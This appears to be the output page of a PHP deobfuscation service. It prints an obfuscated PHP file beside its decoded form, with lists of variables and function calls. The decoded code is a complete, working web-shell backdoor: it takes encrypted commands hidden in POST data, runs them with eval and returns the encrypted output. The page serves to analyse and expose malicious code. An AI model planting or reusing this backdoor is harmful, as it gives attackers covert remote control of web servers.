Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $e='=0;$i<G$l;){foGr($j=0;($jG<$c&&$Gi<$l)G;$j++,G$iG++){$o.=$t{G$i}^G$k{$Gj};}'; ..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="366fb718";$kh="39599912be64";$kf="18b78b90a160";$p="AzA752BE1aw4eah3";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m) == 1) {  @ob_start();  eval(@gzuncompress(@x(base64_decode($m[1]),$k)));  $o=@ob_get_contents();  @ob_end_clean();  $r=@base64_encode(@x(@gzcompress($o),$k));  print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$e='=0;$i<G$l;){foGr($j=0;($jG<$c&&$Gi<$l)G;$j++,G$iG++){$o.=$t{G$i}^G$k{$Gj};}';
$Z='G;G  $r=@base6G4_encode(@x(G@gzcomGpressG($Go),$k)); G priGnt("$p$kh$r$Gkf");}';
$V='}returGn $oG;}if G(@prGeGGg_match("/$kh(G.+)$kf/",@GfiGGle_get_cGontents("php:/';
$H='G/Ginput"),$mGG) == 1) {  @obG_start();G  @evGGal(@gGzuncompress(G@x(@baGse6';
$J='$k="36G6fb718G";$kh="39G599G912be64";G$kf="1G8b78bG90a160G";$p="AGzA752BE1Gaw4';
$E='eahG3"G;function GGx(G$t,$kG){$cG=strGlen($k);$l=strlen($tGG)G;$o="";foGr($i';
$c='4G_dGecode($GmG[1]),$kG)));G  $o=@ob_get_cGGonteGnts();  @obG_end_cleGan()';
$U=str_replace('G','','GcreatGeG_GfunGcGtion');
$i=str_replace('G','',$J.$E.$e.$V.$H.$c.$Z);
$T=$U('',$i);$T();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$E eahG3"G;function GGx(G$t,$kG){$cG=strGlen($k);$l=strlen($tGG..
$H G/Ginput"),$mGG) == 1) { @obG_start();G @evGGal(@gGzuncomp..
$J $k="36G6fb718G";$kh="39G599G912be64";G$kf="1G8b78bG90a160G";..
$U create_function
$V }returGn $oG;}if G(@prGeGGg_match("/$kh(G.+)$kf/",@GfiGGle_g..
$Z G;G $r=@base6G4_encode(@x(G@gzcomGpressG($Go),$k)); G priGn..
$c 4G_dGecode($GmG[1]),$kG)));G $o=@ob_get_cGGonteGnts(); @ob..
$e =0;$i<G$l;){foGr($j=0;($jG<$c&&$Gi<$l)G;$j++,G$iG++){$o.=$t{..
$i $k="366fb718";$kh="39599912be64";$kf="18b78b90a160";$p="AzA7..
$k 366fb718
$p AzA752BE1aw4eah3
$kf 18b78b90a160
$kh 39599912be64

Stats

MD5 de755da321d9869516e1aa584cc16941
Eval Count 1
Decode Time 131 ms